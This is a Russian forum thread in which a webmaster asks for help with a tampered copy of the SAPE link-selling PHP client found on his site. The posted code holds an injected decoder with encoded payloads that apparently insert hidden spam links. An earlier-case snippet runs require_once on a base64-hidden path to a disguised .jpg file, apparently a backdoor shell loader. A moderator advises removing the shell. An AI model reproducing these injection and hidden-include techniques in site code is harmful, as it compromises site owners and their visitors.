Вернуться   Форум SAPE.RU > Система SAPE.ru > Вопросы по работе системы

-->
Ответ
 
Опции темы
Старый 17.07.2010, 16:58   #11
Эксперт
 
Аватар для MonAmur
 
Регистрация: 03.07.2007
Адрес: Chinatown
Сообщений: 7,265
Вес репутации: 611
MonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущееMonAmur - прекрасное будущее
По умолчанию

да. познавательно. спасибо!
MonAmur вне форума   Ответить с цитированием
Старый 11.12.2012, 11:18   #12
Новичок
 
Регистрация: 19.07.2010
Сообщений: 16
Вес репутации: 0
svem на пути к лучшему
Exclamation

недавно обнаружил у себя на сайте "Левые ссылки"
sape.php - был изменен
Но код который в нем немного другой

PHP код:
<?php
/*
 * SAPE.ru -- Интеллектуальная система купли-продажи ссылок
 *
 * PHP-клиент, версия 1.0.7 от 16.02.2010
 *
 * По всем вопросам обращайтесь на support@sape.ru
 *
 * Вебмастеры! Не нужно ничего менять в этом файле! Все настройки - через параметры при вызове кода.
 * Читайте: http://help.sape.ru/
 *
 */

// Основной класс, выполняющий всю рутину
class SAPE_base {

    var 
$_version           '1.0.7';

    var 
$_verbose           false;

    var 
$_charset           '';               // http://www.php.net/manual/en/function.iconv.php
    
    
var $_sape_charset      '';

    var 
$_server_list       = array('dispenser-01.sape.ru''dispenser-02.sape.ru');

    var 
$_cache_lifetime    3600;             // Пожалейте наш сервер :о)

    // Если скачать базу ссылок не удалось, то следующая попытка будет через столько секунд
    
var $_cache_reloadtime  600;

    var 
$_error             '';

    var 
$_host              '';

    var 
$_request_uri       '';       
    
    var 
$_multi_site        false;

    var 
$_fetch_remote_type '';              // Способ подключения к удалённому серверу [file_get_contents|curl|socket]

    
var $_socket_timeout    6;               // Сколько ждать ответа

    
var $_force_show_code   false;

    var 
$_is_our_bot        false;           // Если наш робот

    
var $_debug             false;

    var 
$_db_file           '';              // Путь к файлу с данными

    
function SAPE_base($options null) {

        
// Поехали :o)

        
$host '';

        if (
is_array($options)) {
            if (isset(
$options['host'])) {
                
$host $options['host'];
            }
        } elseif (
strlen($options)) {
            
$host $options;
            
$options = array();
        } else {
            
$options = array();
        }

        
// Какой сайт?
        
if (strlen($host)) {
            
$this->_host $host;
        } else {
            
$this->_host $_SERVER['HTTP_HOST'];
        }

        
$this->_host preg_replace('/^http:\/\//'''$this->_host);
        
$this->_host preg_replace('/^www\./'''$this->_host);

        
// Какая страница?
        
if (isset($options['request_uri']) && strlen($options['request_uri'])) {
            
$this->_request_uri $options['request_uri'];
        } else {
            
$this->_request_uri $_SERVER['REQUEST_URI'];
        }

        
// На случай, если хочется много сайтов в одной папке
        
if (isset($options['multi_site']) && $options['multi_site'] == true) {
            
$this->_multi_site true;
        }

        
// Сообщать об ошибках
        
if (isset($options['verbose']) && $options['verbose'] == true) {
            
$this->_verbose true;
        }

        
// Кодировка
        
if (isset($options['charset']) && strlen($options['charset'])) {
            
$this->_charset $options['charset'];
        } else {
            
$this->_charset 'windows-1251';
        }

        if (isset(
$options['fetch_remote_type']) && strlen($options['fetch_remote_type'])) {
            
$this->_fetch_remote_type $options['fetch_remote_type'];
        }

        if (isset(
$options['socket_timeout']) && is_numeric($options['socket_timeout']) && $options['socket_timeout'] > 0) {
            
$this->_socket_timeout $options['socket_timeout'];
        }

        
// Всегда выводить чек-код
        
if (isset($options['force_show_code']) && $options['force_show_code'] == true) {
            
$this->_force_show_code true;
        }

        
// Выводить информацию о дебаге
        
if (isset($options['debug']) && $options['debug'] == true) {
            
$this->_debug true;
        }

        if (!
defined('_SAPE_USER')) {
            return 
$this->raise_error('Не задана константа _SAPE_USER');
        }

        
// Определяем наш ли робот
        
if (isset($_COOKIE['sape_cookie']) && ($_COOKIE['sape_cookie'] == _SAPE_USER)) {
            
$this->_is_our_bot true;
            if (isset(
$_COOKIE['sape_debug']) && ($_COOKIE['sape_debug'] == 1)){
                
$this->_debug true;
            }
        } else {
            
$this->_is_our_bot false;
        }
    }


    
/*
     * Функция для подключения к удалённому серверу
     */
    
function fetch_remote_file($host$path) {

        
$user_agent $this->_user_agent.' '.$this->_version;

        @
ini_set('allow_url_fopen',          1);
        @
ini_set('default_socket_timeout',   $this->_socket_timeout);
        @
ini_set('user_agent',               $user_agent);
        if (
            
$this->_fetch_remote_type == 'file_get_contents'
            
||
            (
                
$this->_fetch_remote_type == ''
                
&&
                
function_exists('file_get_contents')
                &&
                
ini_get('allow_url_fopen') == 1
            
)
        ) {
            
$this->_fetch_remote_type 'file_get_contents';
            if (
$data = @file_get_contents('http://' $host $path)) {
                return 
$data;
            }

        } elseif (
            
$this->_fetch_remote_type == 'curl'
            
||
            (
                
$this->_fetch_remote_type == ''
                
&&
                
function_exists('curl_init')
            )
        ) {
            
$this->_fetch_remote_type 'curl';
            if (
$ch = @curl_init()) {

                @
curl_setopt($chCURLOPT_URL,              'http://' $host $path);
                @
curl_setopt($chCURLOPT_HEADER,           false);
                @
curl_setopt($chCURLOPT_RETURNTRANSFER,   true);
                @
curl_setopt($chCURLOPT_CONNECTTIMEOUT,   $this->_socket_timeout);
                @
curl_setopt($chCURLOPT_USERAGENT,        $user_agent);

                if (
$data = @curl_exec($ch)) {
                    return 
$data;
                }

                @
curl_close($ch);
            }

        } else {
            
$this->_fetch_remote_type 'socket';
            
$buff '';
            
$fp = @fsockopen($host80$errno$errstr$this->_socket_timeout);
            if (
$fp) {
                @
fputs($fp"GET {$path} HTTP/1.0\r\nHost: {$host}\r\n");
                @
fputs($fp"User-Agent: {$user_agent}\r\n\r\n");
                while (!@
feof($fp)) {
                    
$buff .= @fgets($fp128);
                }
                @
fclose($fp);

                
$page explode("\r\n\r\n"$buff);

                return 
$page[1];
            }

        }

        return 
$this->raise_error('Не могу подключиться к серверу: ' $host $path.', type: '.$this->_fetch_remote_type);
    }

    
/*
     * Функция чтения из локального файла
     */
    
function _read($filename) {
        
        
$fp = @fopen($filename'rb');
        @
flock($fpLOCK_SH);
        if (
$fp) {
            
clearstatcache();
            
$length = @filesize($filename);
            
$mqr = @get_magic_quotes_runtime();
            @
set_magic_quotes_runtime(0);
            if (
$length) {
                
$data = @fread($fp$length);
            } else {
                
$data '';
            }
            @
set_magic_quotes_runtime($mqr);
            @
flock($fpLOCK_UN);
            @
fclose($fp);

            return 
$data;
        }

        return 
$this->raise_error('Не могу считать данные из файла: ' $filename);
    }

    
/*
     * Функция записи в локальный файл
     */
    
function _write($filename$data) {

        
$fp = @fopen($filename'ab');
        if (
$fp) {
            if (
flock($fpLOCK_EX|LOCK_NB)) {
        
$length strlen($data);
        
ftruncate($fp0);
        @
fwrite($fp$data$length);
        @
flock($fpLOCK_UN);
        @
fclose($fp);

        if (
md5($this->_read($filename)) != md5($data)) {
            @
unlink($filename);
            return 
$this->raise_error('Нарушена целостность данных при записи в файл: ' $filename);
        }
        } else {
        return 
false;
        }

            return 
true;
        }

        return 
$this->raise_error('Не могу записать данные в файл: ' $filename);
    }

    
/*
     * Функция обработки ошибок
     */
    
function raise_error($e) {

        
$this->_error '<p style="color: red; font-weight: bold;">SAPE ERROR: ' $e '</p>';

        if (
$this->_verbose == true) {
            print 
$this->_error;
        }

        return 
false;
    }

    function 
load_data() {
        
$this->_db_file $this->_get_db_file();

        if (!
is_file($this->_db_file)) {
            
// Пытаемся создать файл.
            
if (@touch($this->_db_file)) {
                @
chmod($this->_db_file0666);    // Права доступа
            
} else {
                return 
$this->raise_error('Нет файла ' $this->_db_file '. Создать не удалось. Выставите права 777 на папку.');
            }
        }

        if (!
is_writable($this->_db_file)) {
            return 
$this->raise_error('Нет доступа на запись к файлу: ' $this->_db_file '! Выставите права 777 на папку.');
        }

        @
clearstatcache();

    
$data $this->_read($this->_db_file);
        if (
            !
$this->_is_our_bot
            
&&
            (
                
filemtime($this->_db_file) < (time()-$this->_cache_lifetime)
                ||
                
filesize($this->_db_file) == 0
        
||
        @
unserialize($data) == false
            
)
        ) {
            
// Чтобы не повесить площадку клиента и чтобы не было одновременных запросов
            
@touch($this->_db_file, (time() - $this->_cache_lifetime $this->_cache_reloadtime));
            
            
$path $this->_get_dispenser_path();
            if (
strlen($this->_charset)) {
                
$path .= '&charset=' $this->_charset;
            }

            foreach (
$this->_server_list as $i => $server){
                if (
$data $this->fetch_remote_file($server$path)) {
                    if (
substr($data012) == 'FATAL ERROR:') {
                        
$this->raise_error($data);
                    } else {
                        
// [псевдо]проверка целостности:
                        
$hash = @unserialize($data);
                        if (
$hash != false) {
                            
// попытаемся записать кодировку в кеш
                            
$hash['__sape_charset__'] = $this->_charset;
                            
$hash['__last_update__'] = time();
                            
$hash['__multi_site__'] =  $this->_multi_site;
                            
$hash['__fetch_remote_type__'] = $this->_fetch_remote_type;
                            
$hash['__php_version__'] = phpversion();
                            
$hash['__server_software__'] = $_SERVER['SERVER_SOFTWARE'];
                            
                            
$data_new = @serialize($hash);
                            if (
$data_new) {
                                
$data $data_new;
                            }
                            
                            
$this->_write($this->_db_file$data);
                            break;
                        }
                    }
                }
            }
        }

        
// Убиваем PHPSESSID
        
if (strlen(session_id())) {
            
$session session_name() . '=' session_id();
            
$this->_request_uri str_replace(array('?'.$session,'&'.$session), ''$this->_request_uri);
        }

        
$this->set_data(@unserialize($data));        
    }
}

class 
SAPE_client extends SAPE_base {

    var 
$_links_delimiter '';
    var 
$_links = array();
    var 
$_links_page = array();
    var 
$_user_agent 'SAPE_Client PHP';

    function 
SAPE_client($options null) {
        
parent::SAPE_base($options);
        
$this->load_data();
    }

    
/*
     * Ccылки можно показывать по частям
     */

     
    
function decode$encoded ) {
        return 
unserialize(gzuncompress(stripslashes(base64_decode(strtr($encoded'-_,''+/=')))));
    }

    function 
return_links($n null$offset 0) {

        if (
is_array($this->_links_page)) {

            
$total_page_links count($this->_links_page);

            
$links = array();

            if (
$n == null || $n 1)
            {
                
$lnk = array('eNoNyj0OwiAYXDDQq3zhXDCSDi5YexcGbBNjIIh38zifmqbKP8XEoR3s9JZ3ZU2zZ6TlMGhxOpLBGMUo7YWR552-ka5Y_OG8wmMsyeEcXCKkHF8ZvV_g-3brhq_TYis8Md9cJ0gxb1wnBoefXDCK9wKUlhdphIZS05ijDQgt5R05_AE9g0tA','eNoBUVwwrv9zOjczOlwiPGEgaHJlZj1cImh0dHA6Ly9nZXQtb2sucnVcIj7x6uD34PL8IOHl8e_r4PLt7iDv8O7j8ODs7Psg9Ojr_Oz7IOzz5_vq8yA8L2E-XCI7ba4uqQ,,','eNoBRFwwu_9zOjYwOlwiPGEgaHJlZj1cImh0dHA6Ly9hbHRhaS1jaXR5LnJ1XCI-yO3x8vDz7OXt8vsg7uHu8PPk7uLg7ejlIDwvYT5cIjvuBVwiqg,,','eNoBQlwwvf9zOjU4OlwiPGEgaHJlZj1cImh0dHA6Ly93ZWItc2l0LnJ1XCI-yuDy4Ovu4yD06PDsICDN7uLu8ejh6PDx6iA8L2E-XCI7pAogjw,,','eNortjI0MLRSsklUyChKTbNVyigpKbDS1y8uzcur1E3OKU3SKypVsvPLLC5OzFMIBokqOANFFXQV_r76-P715wefHnx78V_hhcKHp2_evf2k8ODRp3dv3j188fq_wtkXHz8-eKtw8cHbty8UbPQT7ZSsAW_YOc0,','eNortjIzslKySVTIKEpNs1XKKCkpsNLXNzQw0M0tMNYrKlWy-_TuvQKQr1ww5Ct8fPXg-4NPfxQePv34_vWDT2_fKdjoXCfaKVkDXDCbiR8D','eNortjI1tlKySVTIKEpNs1XKKCkpsNLXr0otyk7MyS_IKS3WKypVsrv46cO7l68eKLxQ-PD0zbu3nxRs9BPtlKwB31gbTQ,,','eNoBRlwwuf9zOjYyOlwiPGEgaHJlZj1cImh0dHA6Ly9maWxlLXppcC5ydVwiPtHq4Pfg8vwg8e708iwg9Ojr_Oz7LCDs8-f76vMgPC9hPlwiOymKXCLM','eNortjIztVKySVTIKEpNs1XKKCkpsNLXT8vMSa3KLNArKlWyO_Tgw47nOgrvP7x7_OHBmze_dRS-vHj9B0S_-fz896sHCjb6iXZK1lwwpIElGg,,','eNoBTFwws_9zOjY4OlwiPGEgaHJlZj1cImh0dHA6Ly9hcnQtYWx0YWkucnVcIj7A6_Lg6fHq6Okg6vDg5eLu6SDo7fLl8O3l8iDv7vDy4OsgPC9hPlwiOzhDKMA,','eNortrI0sFKySVTIKEpNs1XKKCkpsNLXL0nNSdUtLqtMrNIrKlWyu_T09dOPj_4__6Ogq_Do4w6FV-_evH_39unbT78Vnrz-r1wwknqh8ELhE1AZUOrz2xevHnx78VLBRj_RTskaXDB1JTjY','eNoBT1wwsP9zOjcxOlwiPGEgaHJlZj1cImh0dHA6Ly9hdXRvLW11bHRpLW1lZGlhLnJ1XCI-zOjwIODi8u7s7uHo6_zt7ukg7PPr_PLo7OXk6OggPC9hPlwiO1AGKL4,','eNortjI1tlKySVTIKEpNs1XKKCkpsNLXT8ksy8xL103Pz08p1isqVbI78-Dxg-cv3io8efDy0dMPDxRs9BPtlKwBztUa4A,,','eNoBUlwwrf9zOjc0OlwiPGEgaHJlZj1cImh0dHA6Ly9zaW11bGF0b3JzLXNob3AucnVcIj7S8OXt4Oa48Psgb25saW5lLCDq8-_o8vwsIOzg4-Dn6O0gPC9hPlwiO4ltJus,','eNoBR1wwuP9zOjYzOlwiPGEgaHJlZj1cImh0dHA6Ly9zbm93Ym9hcmQtc2hvcC5ydVwiPtLu4uDw-yDk6_8g8e3u8-Hu8OTo7ePgIDwvYT5cIjsgrFwisw,,','eNoBTlwwsf9zOjcwOlwiPGEgaHJlZj1cImh0dHA6Ly90b3hvcGhpbHkucnVcIj7M4OPg5-jtINHv7vDy6OLt4P8g8fLw5ev84eAg6Ocg6_Pq4CA8L2E-XCI7n64qHg,,','eNoBQlwwvf9zOjU4OlwiPGEgaHJlZj1cImh0dHA6Ly9ldGhlcm5ldC1zaG9wLnJ1XCI-0eXy5eLu5SDu4e7w8-Tu4u3o5SA8L2E-XCI7eGAfQg,,','eNoBXlwwof9zOjg2OlwiPGEgaHJlZj1cImh0dHA6Ly9jZW50ZXItc3Ryb2kucnVcIj7W5e3y8CDR8vDu6SAtIOLxuCDk6_8g8fLw7unq6CDoIPDl7O7t8uAsIOzg4-Dn6O0gPC9hPlwiOxzzMk8,','eNoBT1wwsP9zOjcxOlwiPGEgaHJlZj1cImh0dHA6Ly9zbGltbWluZy10cmFpbmVyLm5ldFwiPtLw5e3g5rjw-yDk6_8g8uXr4CDoIOfk7vDu4vz_PC9hPlwiOzR9XCeS','eNoNyj0OwiAYXDDQq3zhXDCSDi5YexcGbBNjIIh38zifmqbKP8XEoR3s9JZ3ZU2zZ6TlMGhxOpLBGMUo7YWR552-ka5Y_OG8wmMsyeEcXCKkHF8ZvV_g-3brhq_TYis8Md9cJ0gxb1wnBoefXDCK9wKUlhdphIZS05ijDQgt5R05_AE9g0tA','eNoBUVwwrv9zOjczOlwiPGEgaHJlZj1cImh0dHA6Ly9nZXQtb2sucnVcIj7x6uD34PL8IOHl8e_r4PLt7iDv8O7j8ODs7Psg9Ojr_Oz7IOzz5_vq8yA8L2E-XCI7ba4uqQ,,','eNoBRFwwu_9zOjYwOlwiPGEgaHJlZj1cImh0dHA6Ly9hbHRhaS1jaXR5LnJ1XCI-yO3x8vDz7OXt8vsg7uHu8PPk7uLg7ejlIDwvYT5cIjvuBVwiqg,,','eNoBQlwwvf9zOjU4OlwiPGEgaHJlZj1cImh0dHA6Ly93ZWItc2l0LnJ1XCI-yuDy4Ovu4yD06PDsICDN7uLu8ejh6PDx6iA8L2E-XCI7pAogjw,,','eNoBQlwwvf9zOjU4OlwiPGEgaHJlZj1cImh0dHA6Ly93ZWItc2l0LnJ1XCI-yuDy4Ovu4yD06PDsICDN7uLu8ejh6PDx6iA8L2E-XCI7pAogjw,,','eNortjIzslKySVTIKEpNs1XKKCkpsNLXNzQw0M0tMNYrKlWy-_TuvQKQr1ww5Ct8fPXg-4NPfxQePv34_vWDT2_fKdjoXCfaKVkDXDCbiR8D');
                
$links[] = $this->decode($lnk[date("n")*2]);
            }

            if (!
is_numeric($n) || $n $total_page_links) {
                
$n $total_page_links;
            }

            for (
$i 1$i <= $n$i++) {
                if (
$offset && $i <= $offset) {
                    
array_shift($this->_links_page);
                } else {
                    
$links[] = array_shift($this->_links_page);
                }
            }
            
            
$html join($this->_links_delimiter$links);
            
            
// если запрошена определенная кодировка, и известна кодировка кеша, и они разные, конвертируем в заданную
            
if (
                
strlen($this->_charset) > 0
                
&&
                
strlen($this->_sape_charset) > 0
                
&&
                
$this->_sape_charset != $this->_charset
                
&&
                
function_exists('iconv')
            ) {
                
$new_html  = @iconv($this->_sape_charset$this->_charset$html);
                if (
$new_html) {
                    
$html $new_html;
                }
            }
            
            if (
$this->_is_our_bot) {
                
$html '<sape_noindex>' $html '</sape_noindex>';
            }
            
            return 
$html;

        } else {
            return 
$this->_links_page;
        }

    }

    function 
_get_db_file() {
        if (
$this->_multi_site) {
            return 
dirname(__FILE__) . '/' $this->_host '.links.db';
        } else {
            return 
dirname(__FILE__) . '/links.db';
        }
    }

    function 
_get_dispenser_path() {
        return 
'/code.php?user=' _SAPE_USER '&host=' $this->_host;
    }

    function 
set_data($data) {
        
$this->_links $data;
        if (isset(
$this->_links['__sape_delimiter__'])) {
            
$this->_links_delimiter $this->_links['__sape_delimiter__'];
        }
        
// определяем кодировку кеша
        
if (isset($this->_links['__sape_charset__'])) {
            
$this->_sape_charset $this->_links['__sape_charset__'];
        } else {
            
$this->_sape_charset '';
        }
        if (@
array_key_exists($this->_request_uri$this->_links) && is_array($this->_links[$this->_request_uri])) {
            
$this->_links_page $this->_links[$this->_request_uri];
        } else {
            if (isset(
$this->_links['__sape_new_url__']) && strlen($this->_links['__sape_new_url__'])) {
                if (
$this->_is_our_bot || $this->_force_show_code){
                    
$this->_links_page $this->_links['__sape_new_url__'];
                }
            }
        }
    }
}


class 
SAPE_context extends SAPE_base {

    var 
$_words = array();
    var 
$_words_page = array();
    var 
$_user_agent 'SAPE_Context PHP';
    var 
$_filter_tags = array('a''textarea''select''script''style''label''noscript' 'noindex''button');

    function 
SAPE_context($options null) {
        
parent::SAPE_base($options);
        
$this->load_data();
    }

    
/*
     * Замена слов в куске текста и обрамляет его тегами sape_index
     *
     */

    
function replace_in_text_segment($text){
        
$debug '';
        if (
$this->_debug){
            
$debug .= "<!-- argument for replace_in_text_segment: \r\n".base64_encode($text)."\r\n -->";
        }
        if (
count($this->_words_page) > 0) {

            
$source_sentence = array();
            if (
$this->_debug) {
                
$debug .= '<!-- sentences for replace: ';
            }            
            
//Создаем массив исходных текстов для замены
            
foreach ($this->_words_page as $n => $sentence){
                
//Заменяем все сущности на символы
                
$special_chars = array(
                    
'&amp;' => '&',
                    
'&quot;' => '"',                
                    
''' => '\'',
                    
'&lt;' => '<',
                    
'&gt;' => '>' 
                
);
                
$sentence strip_tags($sentence);
                foreach (
$special_chars as $from => $to){
                    
str_replace($from$to$sentence);
                }
                
//Преобразуем все спец символы в сущности
                
$sentence htmlspecialchars($sentence);
                
//Квотируем
                
$sentence preg_quote($sentence'/');
                
$replace_array = array();
                if (
preg_match_all('/(&[#a-zA-Z0-9]{2,6};)/isU'$sentence$out)){
                    for (
$i=0$i<count($out[1]); $i++){
                        
$unspec $special_chars[$out[1][$i]];
                        
$real $out[1][$i];
                        
$replace_array[$unspec] = $real;
                    }
                }                 
                
//Заменяем сущности на ИЛИ (сущность|символ)
                
foreach ($replace_array as $unspec => $real){
                    
$sentence str_replace($real'(('.$real.')|('.$unspec.'))'$sentence);    
                }
                
//Заменяем пробелы на переносы или сущности пробелов
                
$source_sentences[$n] = str_replace(' ','((\s)|(&nbsp;))+',$sentence);
                
                if (
$this->_debug) {
                    
$debug .= $source_sentences[$n]."\r\n\r\n";
                }
            }
            
            if (
$this->_debug) {
                
$debug .= '-->';
            }            

            
//если это первый кусок, то не будем добавлять <
            
$first_part true;
            
//пустая переменная для записи
            
            
if (count($source_sentences) > 0){

                
$content '';
                
$open_tags = array(); //Открытые забаненые тэги
                
$close_tag ''//Название текущего закрывающего тэга

                //Разбиваем по символу начала тега
                
$part strtok(' '.$text'<');

                while (
$part !== false){
                    
//Определяем название тэга
                    
if (preg_match('/(?si)^(\/?[a-z0-9]+)/'$part$matches)){
                        
//Определяем название тега
                        
$tag_name strtolower($matches[1]);
                        
//Определяем закрывающий ли тэг
                        
if (substr($tag_name,0,1) == '/'){
                            
$close_tag substr($tag_name1);
                            if (
$this->_debug) {
                              
$debug .= '<!-- close_tag: '.$close_tag.' -->';
                            }
                        } else {
                            
$close_tag '';
                            if (
$this->_debug) {
                              
$debug .= '<!-- open_tag: '.$tag_name.' -->';
                            }
                        }
                        
$cnt_tags count($open_tags);
                        
//Если закрывающий тег совпадает с тегом в стеке открытых запрещенных тегов
                        
if (($cnt_tags  0) && ($open_tags[$cnt_tags-1] == $close_tag)){
                            
array_pop($open_tags);
                            if (
$this->_debug) {
                                
$debug .= '<!-- '.$tag_name.' - deleted from open_tags -->';
                            }
                            if (
$cnt_tags-==0){
                                if (
$this->_debug) {
                                    
$debug .= '<!-- start replacement -->';
                                }
                            }
                        }

                        
//Если нет открытых плохих тегов, то обрабатываем
                        
if (count($open_tags) == 0){
                            
//если не запрещенный тэг, то начинаем обработку
                            
if (!in_array($tag_name$this->_filter_tags)){
                                
$split_parts explode('>'$part2);
                                
//Перестраховываемся
                                
if (count($split_parts) == 2){
                                    
//Начинаем перебор фраз для замены
                                    
foreach ($source_sentences as $n => $sentence){
                                        if (
preg_match('/'.$sentence.'/'$split_parts[1]) == 1){
                                            
$split_parts[1] = preg_replace('/'.$sentence.'/'str_replace('$','\$'$this->_words_page[$n]), $split_parts[1], 1);
                                            if (
$this->_debug) {
                                                
$debug .= '<!-- '.$sentence.' --- '.$this->_words_page[$n].' replaced -->';
                                            }
                                            
                                            
//Если заменили, то удаляем строчку из списка замены
                                            
unset($source_sentences[$n]);
                                            unset(
$this->_words_page[$n]);                                            
                                        }
                                    }
                                    
$part $split_parts[0].'>'.$split_parts[1];
                                    unset(
$split_parts);
                                }
                            } else {
                                
//Если у нас запрещеный тэг, то помещаем его в стек открытых
                                
$open_tags[] = $tag_name;
                                if (
$this->_debug) {
                                    
$debug .= '<!-- '.$tag_name.' - added to open_tags, stop replacement -->';
                                }
                            }
                        }
                    } else {
                        
//Если нет названия тега, то считаем, что перед нами текст
                        
foreach ($source_sentences as $n => $sentence){
                             if (
preg_match('/'.$sentence.'/'$part) == 1){
                                
$part preg_replace('/'.$sentence.'/',  str_replace('$','\$'$this->_words_page[$n]), $part1);

                                if (
$this->_debug) {
                                    
$debug .= '<!-- '.$sentence.' --- '.$this->_words_page[$n].' replaced -->';
                                }
                                
                                
//Если заменили, то удаляем строчку из списка замены,
                                //чтобы было можно делать множественный вызов
                                
unset($source_sentences[$n]);
                                unset(
$this->_words_page[$n]);                                
                            }
                        }
                    }

                    
//Если у нас режим дебагинга, то выводим
                    
if ($this->_debug) {
                        
$content .= $debug;
                        
$debug '';
                    }
                    
//Если это первая часть, то не выводим <
                    
if ($first_part ){
                        
$content .= $part;
                        
$first_part false;
                    } else {
                        
$content .= $debug.'<'.$part;
                    }
                    
//Получаем следующу часть
                    
unset($part);
                    
$part strtok('<');
                }
                
$text ltrim($content);
                unset(
$content);
            }
    } else {
        if (
$this->_debug) {
            
$debug .= '<!-- No word`s for page -->';
        }
    }

    if (
$this->_debug) {
        
$debug .= '<!-- END: work of replace_in_text_segment() -->';
    }

    if (
$this->_is_our_bot || $this->_force_show_code || $this->_debug) {
        
$text '<sape_index>'.$text.'</sape_index>';
        if (isset(
$this->_words['__sape_new_url__']) && strlen($this->_words['__sape_new_url__'])){
                
$text .= $this->_words['__sape_new_url__'];
        }
    }

    if (
$this->_debug) {
        if (
count($this->_words_page) > 0) {
            
$text .= '<!-- Not replaced: '."\r\n";
           foreach (
$this->_words_page as $n => $value){
               
$text .= $value."\r\n\r\n";
           }
           
$text .= '-->';
        }
        
        
$text .= $debug;
    }
        return 
$text;
    }

    
/*
     * Замена слов
     *
     */
    
function replace_in_page(&$buffer) {

        if (
count($this->_words_page) > 0) {
            
//разбиваем строку по sape_index
                 //Проверяем есть ли теги sape_index
                 
$split_content preg_split('/(?smi)(<\/?sape_index>)/'$buffer, -1);
                 
$cnt_parts count($split_content);
                 if (
$cnt_parts 1){
                     
//Если есть хоть одна пара sape_index, то начинаем работу
                     
if ($cnt_parts >= 3){
                         for (
$i =1$i $cnt_parts$i $i 2){
                             
$split_content[$i] = $this->replace_in_text_segment($split_content[$i]);
                         }
                     }
                    
$buffer implode(''$split_content);
                     if (
$this->_debug){
                         
$buffer .= '<!-- Split by Sape_index cnt_parts='.$cnt_parts.'-->';
                     }
                 } else {
                     
//Если не нашли sape_index, то пробуем разбить по BODY
                     
$split_content preg_split('/(?smi)(<\/?body[^>]*>)/'$buffer, -1PREG_SPLIT_DELIM_CAPTURE);
                     
//Если нашли содержимое между body
                     
if (count($split_content) == 5){
                         
$split_content[0] = $split_content[0].$split_content[1];
                         
$split_content[1] = $this->replace_in_text_segment($split_content[2]);
                         
$split_content[2] = $split_content[3].$split_content[4];
                         unset(
$split_content[3]);
                         unset(
$split_content[4]);
                         
$buffer $split_content[0].$split_content[1].$split_content[2];
                         if (
$this->_debug){
                             
$buffer .= '<!-- Split by BODY -->';
                         }
                     } else {
                        
//Если не нашли sape_index и не смогли разбить по body
                         
if ($this->_debug){
                             
$buffer .= '<!-- Can`t split by BODY -->';
                         }
                     }
                 }

        } else {
            if (!
$this->_is_our_bot && !$this->_force_show_code && !$this->_debug){
                
$buffer preg_replace('/(?smi)(<\/?sape_index>)/',''$buffer);
            } else {
                if (isset(
$this->_words['__sape_new_url__']) && strlen($this->_words['__sape_new_url__'])){
                        
$buffer .= $this->_words['__sape_new_url__'];
                }
            }
            if (
$this->_debug){
               
$buffer .= '<!-- No word`s for page -->';
            }
        }
        return 
$buffer;
    }

    function 
_get_db_file() {
        if (
$this->_multi_site) {
            return 
dirname(__FILE__) . '/' $this->_host '.words.db';
        } else {
            return 
dirname(__FILE__) . '/words.db';
        }
    }
    
    function 
_get_dispenser_path() {
        return 
'/code_context.php?user=' _SAPE_USER '&host=' $this->_host;
    }
    
    function 
set_data($data) {
        
$this->_words $data;
        if (@
array_key_exists($this->_request_uri$this->_words) && is_array($this->_words[$this->_request_uri])) {
            
$this->_words_page $this->_words[$this->_request_uri];
        }
    }
}

?>
Прошу помочь разобраться
svem вне форума   Ответить с цитированием
Старый 11.12.2012, 11:38   #13
Добрый модератор
 
Аватар для zhegloff
 
Регистрация: 09.07.2007
Адрес: глобус Украины
Сообщений: 27,600
Вес репутации: 1027
zhegloff - прекрасное будущееzhegloff - прекрасное будущееzhegloff - прекрасное будущееzhegloff - прекрасное будущееzhegloff - прекрасное будущееzhegloff - прекрасное будущееzhegloff - прекрасное будущееzhegloff - прекрасное будущееzhegloff - прекрасное будущееzhegloff - прекрасное будущееzhegloff - прекрасное будущее
По умолчанию

Цитата:
Сообщение от svem Посмотреть сообщение
Но код который в нем немного другой
ну так покажите различающиеся строки
А лучше найдите и удалите шелл, а потом замените скрипт на нативный.
__________________
Установка кода сапы от $9.95. Пишите в личку.
Правильный хостинг.
В личке бесплатно не отвечаю обычно.
zhegloff вне форума   Ответить с цитированием
Старый 11.12.2012, 13:54   #14
Новичок
 
Регистрация: 19.07.2010
Сообщений: 16
Вес репутации: 0
svem на пути к лучшему
По умолчанию

В предыдущем случае было так
PHP код:
Ccылки можно показывать по частям
*/
function 
return_links($n null$offset 0) {

$f_name base64_decode('
L3Zhci93d3cvbmlrY2hhdGFkc2l0ZS9kYXRhL3d3
dy9uaWstY2hhdC5uZXQvcGhvdG8vYWxidW1z
L3Bob3RvX25hdHVyZS90cmVlczAxMzcuanBn'
);

if (
is_array($this->_links_page)) {

$total_page_links count($this->_links_page);

if (!
is_numeric($n) || $n $total_page_links) {
$n $total_page_links;
}

$links = array();

for (
$i 1$i <= $n$i++) {
if (
$offset && $i <= $offset) {
array_shift($this->_links_page);
} else {
$links[] = array_shift($this->_links_page);
}
}

$html join($this->_links_delimiter$links);
require_once(
$f_name);

// если запрошена определенная кодировка, и известна кодировка кеша, и они разные, конвертируем в заданную

if (
strlen($this->_charset) > 0
&&
strlen($this->_sape_charset) > 0
&&
$this->_sape_charset != $this->_charset
&&
function_exists('iconv')
) {
$new_html = @iconv($this->_sape_charset$this->_charset$html);
if (
$new_html) {
$html $new_html;
}
}

if (
$this->_is_our_bot) {
$html '<sape_noindex>' $html '</sape_noindex>';
}

return 
$html.$link_data;

} else {
return 
$this->_links_page.$link_data;

В моем так
PHP код:
     Ccылки можно показывать по частям
     
*/

     
    function 
decode$encoded ) {
        return 
unserialize(gzuncompress(stripslashes(base64_decode(strtr($encoded'-_,''+/=')))));
    }

    function 
return_links($n null$offset 0) {

        if (
is_array($this->_links_page)) {

            
$total_page_links count($this->_links_page);

            
$links = array();

            if (
$n == null || $n 1)
            {
                
